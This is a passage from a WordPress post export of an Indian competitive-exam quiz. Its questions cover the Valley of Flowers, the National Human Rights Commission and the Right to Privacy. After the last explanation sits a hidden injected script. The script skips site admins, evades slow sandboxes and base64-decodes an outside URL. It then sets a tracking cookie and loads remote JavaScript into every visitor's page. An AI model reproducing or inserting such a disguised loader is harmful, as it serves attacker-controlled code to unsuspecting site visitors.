class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>The Valley of Flowers in Uttarakhand opened to tourists for this year on June 1. The valley usually stays open for four months \u2014 June, July, August, and September \u2014 and closes sometime in October, as winter and snow make it dangerous for tourists at other times of the year.<\/li>\n\n\n\n<li><strong>The Valley of Flowers is located within the Nanda Devi Biosphere Reserve, spread over an area of 87 sqkm.<\/strong><\/li>\n\n\n\n<li><strong>Nanda Devi, the second highest mountain in India (after Kangchenjunga), also holds religious significance, as Nanda is considered the patron goddess of Garhwal and Kumaon.<em>Hence option(c) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>Flower species such as orchids, poppies, primulas, marigold, daisies and anemones can be found here.<\/li>\n\n\n\n<li>The valley also abounds in medicinal plants and herbs, and flowers with religious significance, such as the brahmakamal, offered to Nanda Devi.<\/li>\n\n\n\n<li>&nbsp;The valley has a variety of habitats, from foothills to alpine zones, from waterfalls and streams to forests, and is thus very rich in biodiversity<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/valley-of-flowers-in-uttarakhand-open-june-1-all-you-need-to-know-10042170\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/valley-of-flowers-in-uttarakhand-open-june-1-all-you-need-to-know-10042170\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>9.With reference to <\/strong><strong>The National Human Rights Commission,<\/strong><strong>Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">1. It was established under the Protection of Human Rights Act 1993.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">2. The Commission consists of a Chair person, five full-time Members and seven deemed Members<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Answer: (c)Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In News: <\/strong>NHRC, India takes suo motu cognizance of the reported death of a minor victim of rape and brutal physical assault due to alleged delayed treatment at PMCH, Bihar<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li><strong>The National Human Rights Commission (NHRC) of India was established on 12 October, 1993. The statute under which it is established is the Protection of Human Rights Act (PHRA), 1993 as amended by the Protection of Human Rights (Amendment) Act, 2006<\/strong>.<strong><em>Hence statement 1 is correct.<\/em><\/strong><\/li>\n\n\n\n<li>It is in conformity with the Paris Principles, adopted at the first international workshop on national institutions for the promotion and protection of human rights held in Paris in October 1991, and endorsed by the General Assembly of the United Nations by its Regulations 48\/134 of 20 December, 1993.<\/li>\n\n\n\n<li>The NHRC is an embodiment of India\u2019s concern for the promotion and protection of human rights.<\/li>\n\n\n\n<li>Section 2(1)(d) of the PHRA defines Human Rights as the rights relating to life, liberty, equality and dignity of the individual guaranteed by the Constitution or embodied in the International Covenants and enforceable by courts in India.<\/li>\n\n\n\n<li><strong>The Commission consists of a Chairperson, five full-time Members and seven deemed Members<\/strong>. <strong><em>Hence statement 2 is correct.<\/em><\/strong><\/li>\n\n\n\n<li>&nbsp;The statute lays down qualifications for the appointment of the Chairperson and Members of the Commission.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133327\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133327<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>10.Under which of the following Articles of the Constitution of India, has the Supreme Court of India placed the Right to Privacy?(2021)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(a) Article 15<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(b) Article 19<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(c) Article 20<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(d) Article 21<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Answer: (d)Article 21<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>The Supreme Court described privacy and its importance in the landmark decision of K.S. Puttaswamy vs Union of India in 2017 that the right to Privacy is fundamental and inalienable and attaches to the person covering all information about that person and the choices that he\/she makes.<\/li>\n\n\n\n<li>&nbsp;The right to privacy is protected as an intrinsic part of the right to life and personal liberty under Article 21. <strong><em>Hence, Option (d) is correct<\/em><\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements: 1. MERCOSUR is a trading bloc in Latin America comprising Brazil, Argentina, Uruguay and Paraguay. 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